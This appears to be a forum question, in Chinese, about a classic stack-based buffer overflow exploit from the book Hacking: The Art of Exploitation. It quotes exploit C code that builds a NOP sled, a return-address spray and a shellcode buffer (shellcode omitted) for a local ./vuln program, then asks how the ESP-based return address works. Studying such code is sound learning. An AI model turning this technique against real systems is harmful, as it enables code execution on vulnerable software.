这可能与此有关,但我不确定它是否在同一条船上。
所以我一直在重新阅读 Hacking: The Art of Exploitation 并且我对书中的一些 C 代码有疑问,这对我来说不太有意义:
让我们假设我们回到了 2000 年左右,并且我们真的没有堆栈 cookie 和 ASLR(也许我们有,但它还没有实现或没有普及),或者我们现在拥有的任何其他类型的保护 -一天。
他向我们展示了这段代码来利用一个简单的基于堆栈的溢出:
#include <stdlib.h>
char shellcode[] = "..." // omitted
unsigned long sp(void)
{ __asm__("movl %esp, %eax); }
int main(int argc, char *argv[]) {
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
// bunch of printfs here...
buffer = malloc(600);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i = 0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
for(i = 0; i < 200; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i = 0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[600-1] = 0;
execl("./vuln", "vuln", buffer, 0);
free(buffer);
return 0;
}
所以他想要做的是获取 ESP 的地址并用该地址覆盖保存的 EIP,以便处理器将跳转到他在内存中的 NOP sled 并执行堆栈中的 shellcode。
我不明白的是,他如何使用他在当前调用它时从 sp() 获得的特定 ESP 值。
据我了解,堆栈看起来像这样的“东西”:
...
saved ebp <-- execl
saved eip
"./vuln"
"vuln"
buffer
0
*ptr <-- sp() returns this address?
*buffer
*addr_ptr
ret
esp
offset
i
saved ebp <-- main
saved eip
argc
argv
...
既然他在漏洞利用的早期调用了(我知道这是一个函数指针,所以我猜措辞不完全准确?) sp(),它不应该给他一个错误的 ESP 地址吗?即便如此,我也看不出他怎么能在这里使用这种技术,因为他永远不会在他的vuln程序中获得指向缓冲区顶部的 ESP。
谢谢。